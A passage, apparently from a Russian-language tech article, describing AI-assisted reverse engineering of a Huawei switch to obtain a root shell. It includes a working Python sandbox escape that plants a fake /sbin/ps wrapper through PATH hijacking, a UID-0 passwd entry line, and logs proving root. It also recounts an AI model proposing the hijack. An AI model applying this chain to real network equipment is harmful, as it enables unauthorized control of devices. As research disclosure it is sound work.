style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u0441\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0438\u0437-\u043f\u043e\u0434 root, \u0430 \u043f\u043e\u0434 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c normal (102).<\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 root shell \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u043c, \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 IAM_Huawei_Comm.sh, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0447\u0435\u043c-\u0442\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f normal \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \/etc\/passwd (\u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b, \u0430 \u0435\u0449\u0451 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445) \u0438 \u0432 \u043d\u0435\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u0438\u0434\u0430: <code>attacker::0:0:attacker:\/root:\/bin\/sh<\/code>, \u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043a\u0430\u043a \u044d\u0442\u0438\u043c \u043f\u043e\u0442\u043e\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u043d\u0438 \u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 \u043d\u0435\u0442 suid-\u0431\u0438\u0442\u0430. \u041c\u043e\u0436\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u043d\u0430 \u043d\u0438\u0445 \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f normal, \u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432\u0441\u0451 \u044d\u0442\u043e \u0436\u0438\u0432\u0451\u0442 \u0432 ramfs \u0434\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438. GLM \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0442\u044f\u0436\u0451\u043b\u0443\u044e \u0430\u0440\u0442\u0438\u043b\u043b\u0435\u0440\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044f\u0434\u0440\u0430 (\u0442\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u0447\u0442\u043e \u043e\u043d\u043e \u043e\u0447\u0435\u043d\u044c \u0441\u0442\u0430\u0440\u043e\u0435 \u0438 \u0437\u0430 5 \u043b\u0435\u0442 \u0438\u0445 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0435\u043c\u0430\u043b\u043e). \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u044d\u0442\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0440\u0438\u0441\u043a\u043e\u0432\u0430\u043d\u043d\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0434\u043e \u0441\u0432\u0438\u0442\u0447\u0430 \u043d\u0435\u0442 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0435\u0441\u043b\u0438 \u0437\u0430\u0432\u0438\u0441\u043d\u0435\u0442 \u0438\u043b\u0438 \u0443\u043f\u0430\u0434\u0451\u0442 \u0440\u043e\u0434\u043d\u043e\u0439 CLI, \u0442\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0430 \u0435\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u0435\u0439 \u0442\u043e\u0436\u0435 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u044b\u0445 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432. \u041f\u0435\u0440\u0435\u0434\u0430\u0432 GLM \u0438\u0434\u0435\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 shell-command \u0438\u0437 CLI \u0441\u0432\u0438\u0442\u0447\u0430, \u0434\u0430\u043b\u0435\u0435 \u0443\u0431\u0435\u0436\u0434\u0430\u0435\u043c\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0438\u0437-\u043f\u043e\u0434 root, \u0442.\u0435. \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0438\u0437 \u044d\u0442\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u043e\u0442 root. \u041d\u043e GLM \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u044f\u0449\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 &#8212; \u0441\u0434\u0435\u043b\u0430\u0442\u044c command hijacking (\u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0442\u044c \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ps) \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0439 ps \u0432 \/sbin, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 PATH \u0438\u0434\u0451\u0442 \u0440\u0430\u043d\u044c\u0448\u0435, \u0447\u0435\u043c \/usr\/bin (\u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ps \u043b\u0435\u0436\u0438\u0442 \u0432 \/usr\/bin):<\/p>\n<details class=\"spoiler\">\n<summary>ps.py (\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0444\u0435\u0439\u043a\u043e\u0432\u043e\u0433\u043e ps \u0432 \/sbin)<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import opsimport osimport timedef ops_condition(_ops):    _ops.timer.countdown(\"t\", 3)    return 0def run_bash(bash, cmd, timeout=5):    \"\"\"Run cmd via bash, return (stdout+stderr) string.\"\"\"    out = \"\/mnt\/flash\/_cmd.out\"    try:        os.unlink(out)    except Exception:        pass    dfd = os.open(out, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)    actions = [        (os.POSIX_SPAWN_DUP2, dfd, 1),        (os.POSIX_SPAWN_DUP2, dfd, 2),        (os.POSIX_SPAWN_CLOSE, dfd),    ]    argv = [bash, \"-c\", cmd]    pid = os.posix_spawn(argv[0], argv, {}, file_actions=actions)    os.close(dfd)    deadline = time.time() + timeout    while time.time() &lt; deadline:        try:            wpid, status = os.waitpid(pid, os.WNOHANG)            if wpid != 0:                break        except ChildProcessError:            break        time.sleep(0.1)    time.sleep(0.15)    try:        with open(out, \"rb\") as f:            return f.read().decode(\"utf-8\", \"replace\")    except Exception as e:        return \"READ_ERR:\" + repr(e)[:100]def ops_execute(_ops):    o = _ops    bash = \"\/mnt\/flash\/$_user\/bash\"    # \/sbin\/ps wrapper: run id, save proof, then call original ps    ps_script = (        '#!\/bin\/sh\\n'        '{ echo \\'=== PS root TRIGGERED ===\\'; id; '        'echo \\'=== PS root END ===\\'; } &gt; \/mnt\/flash\/_root_proof_id 2&gt;&amp;1\\n'        '\/bin\/ps \"$@\"\\n'    )    # Write payload to \/mnt\/flash\/_ps_payload (whitelist path, no $ in name).    # Using \/mnt\/flash root avoids $_user expansion problem in bash.    tmp = \"\/mnt\/flash\/_ps_payload\"    try:        fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o644)        os.write(fd, ps_script.encode())        os.close(fd)    except Exception as e:        o.syslog(\"WRITE_ERR \" + repr(e)[:200], ops.CRITICAL, ops.SYSLOG)        o.result(1)        return 1    # Use bash to cp payload to \/sbin\/ps with exec bit.    # \/mnt\/flash\/_ps_payload has no $ so bash won't expand anything.    # \/sbin is writable by UID 102 and first in vos.o $PATH.    result = run_bash(bash,        \"cp \/mnt\/flash\/_ps_payload \/sbin\/ps &amp;&amp; \"        \"chmod 755 \/sbin\/ps &amp;&amp; \"        \"echo CREATED &amp;&amp; ls -la \/sbin\/ps\")    o.syslog(\"DEPLOY \" + result.strip()[:460], ops.CRITICAL, ops.SYSLOG)    # Cleanup temp file    try:        os.unlink(tmp)    except Exception:        pass    o.result(0)    return 0<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<\/div>\n<\/details>\n<p>\u0412 \u043b\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435:<\/p>\n<pre><code>%%01OPSA\/2\/SCRIPT_LOG(l)[3]:OPS: DEPLOY CREATED-rwxr-xr-x    1 normal   normalg        126 Aug  5 23:25 \/sbin\/ps (user=\"ps.py\", session=836254824)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 root shell:<\/p>\n<pre><code>[HUAWEI-diagnose]shell-command slot 0 ps  PID TTY          TIME CMD 1139 ttyS0    00:00:00 rc.user 1199 ttyS0    00:00:00 init_mpu.sh 2265 ttyS0    00:00:00 bootload_step2_ 2310 ttyS0    05:19:05 monitor 2311 ttyS0    24-12:50:44 vos.o15236 ttyS0    00:00:00 ps15238 ttyS0    00:00:00 ps  &lt;--- \u0442\u0443\u0442 \u0443\u0436\u0435 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e ps \u043e\u0431\u0451\u0440\u043d\u0443\u0442&lt;HUAWEI&gt;more _root_proof_id=== PS root TRIGGERED ===uid=0(root) gid=0(root) groups=0(root)=== PS root END ===<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u0451\u0440\u0442\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 shell \u043d\u0435 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u044e\u044e, \u0442\u0430\u043a \u0438 \u0432\u043d\u0443\u0442\u0440\u0438 CLI \u0435\u0441\u043b\u0438 \u0432 ops_condition \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c ops.cli.subscribe.<\/p>\n<p>\u0418\u0442\u043e\u0433\u043e\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root shell:<\/p>\n<pre><code>OPS Python sandbox        |        vposix_spawn()        |        vnormal user execution        |        |        +---- discover root CLI context                    |                    v             CLI shell-command(root)                    |                    v             command hijacking                    |                    v             root execution<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0412\u044b\u0432\u043e\u0434\u044b? \u041f\u0440\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u041f\u041e, \u043b\u044e\u0434\u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0434\u0438\u0441\u043a\u0443\u0442\u0438\u0440\u0443\u044e\u0442 \u043e \u043f\u043e\u043b\u044c\u0437\u0435 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0430\u0433\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441 LLM-\u044f\u0434\u0440\u043e\u043c. \u0422\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043a\u0430\u043a \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u043b\u0433, \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0440\u0435\u0432\u044c\u044e \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043b\u044e\u0434\u044c\u043c\u0438 (\u043d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445 \u0441\u043e \u0441\u0442\u0440\u043e\u0433\u0438\u043c \u0440\u0435\u0432\u044c\u044e) \u0438 (\u0432\u0441\u0451 \u0440\u0435\u0436\u0435) \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0438, \u043d\u0435\u0432\u044b\u0441\u043e\u043a\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0431\u0435\u0437 \u0418\u0418, \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0441\u0442\u043e \u0442\u0430\u043a \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u041d\u043e \u0437\u0430\u0434\u0430\u0447\u0430, \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0437\u0430\u0432\u0435\u0434\u043e\u043c\u043e \u043b\u0438\u0448\u0435\u043d\u0430 \u044d\u0442\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c. \u0415\u0441\u043b\u0438 root \u043f\u043e\u043b\u0443\u0447\u0435\u043d, \u0442\u043e \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0438 \u0438\u0442\u043e\u0433\u043e\u043c \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\/\u0438\u043b\u0438 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0434\u043b\u044f \u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f, \u0430 \u0442\u043e \u0447\u0442\u043e \u0418\u0418 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0441\u043e\u0442\u043d\u044e \u0433\u0438\u043f\u043e\u0442\u0435\u0437, \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e \u043d\u0435\u0440\u0430\u0431\u043e\u0447\u0438\u0435, \u044d\u0442\u043e \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u043d\u043e. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435: \u043e\u043a\u043e\u043b\u043e 1$ \u043d\u0430 \u0442\u043e\u043a\u0435\u043d\u044b deepseek \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 67% \u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043b\u0438\u043c\u0438\u0442\u0430 GLM Coding Plan Lite, \u0447\u0442\u043e \u043f\u043e \u0442\u0435\u043a\u0443\u0449\u0438\u043c \u0442\u0430\u0440\u0438\u0444\u0430\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0440\u0451\u043c \u0434\u043e\u043b\u043b\u0430\u0440\u0430\u043c. \u0418\u0442\u043e\u0433\u043e, \u043e\u043a\u043e\u043b\u043e 4$ \u043d\u0430 \u0442\u043e\u043a\u0435\u043d\u044b\/\u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 10 \u0447\u0430\u0441\u043e\u0432 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0430\u0432\u0442\u043e\u0440\u0430 \u0441\u0442\u0430\u0442\u044c\u0438, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u044b\u043b\u0430 \u043f\u043e\u0442\u0440\u0430\u0447\u0435\u043d\u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u0442\u0435\u043c, \u043a\u0430\u043a \u0418\u0418 \u0436\u0434\u0451\u0442 \u0442\u0430\u0439\u043c\u0430\u0443\u0442\u044b \u0438 \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043d\u0430\u0443\u0447\u0438\u0442\u044c \u0435\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0441\u0443\u0431\u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e. \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0441\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u043f\u044b\u0442 \u0430\u0432\u0442\u043e\u0440\u0430 \u0441\u0442\u0430\u0442\u044c\u0438 \u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0418\u0418 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c, \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u043f\u043e \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u0434\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f, \u0442\u043e\u043a\u0435\u043d\u043e\u0432\/\u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0431\u044b\u043b\u043e \u0431\u044b \u043f\u043e\u0442\u0440\u0430\u0447\u0435\u043d\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435, \u0435\u0441\u043b\u0438 \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0418\u0418. \u0411\u043e\u0301\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0440\u0443\u0442\u0438\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0431\u044b\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0418\u0418.<\/p>\n<p>P.S. \u0412 \u0431\u043e\u043b\u0435\u0435 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Huawei, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e AR6700V-L \u0441 \u041f\u041e V600R025C00SPC100, \u043a\u0440\u043e\u043c\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e python \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 OPS (\u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u0435\u0449\u0451 \u0431\u043e\u043b\u044c\u0448\u0435), \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u0436\u0435 \u0436\u0451\u0441\u0442\u043a\u0430\u044f \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e kernel namespaces (\u0442.\u0435. \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0438\u0437\u0430\u0446\u0438\u044f). \u0410\u0432\u0442\u043e\u0440\u0443 \u0441\u0442\u0430\u0442\u044c\u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043d\u0430 \u043a\u0430\u043a\u0438\u0445 \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u041f\u041e Huawei \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root shell, \u0442\u0430\u043a\u043e\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c.<\/p>\n<p>P.P.S. \u041a\u043e\u043c\u0443-\u0442\u043e \u044d\u0442\u0430 \u0441\u0442\u0430\u0442\u044c\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f root shell \u0438 \u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043a\u0430\u043a\u0438\u0435 LLM \u0438 \u0430\u0433\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u043f\u043e\u0442\u0440\u0430\u0447\u0435\u043d\u043e, \u043d\u043e \u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u043e\u043d\u0430 \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u043b\u0430\u0441\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0442\u043e\u0433\u043e, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0443\u043f\u0440\u043e\u0449\u0430\u044e\u0442 \u0438 \u0443\u0441\u043a\u043e\u0440\u044f\u044e\u0442 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433. \u041f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c GLM\/ZCode \u043c\u043d\u043e\u0433\u043e \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043b \u0432 \u0446\u0435\u043b\u044f\u0445 \u043f\u043e\u0438\u0441\u043a\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438 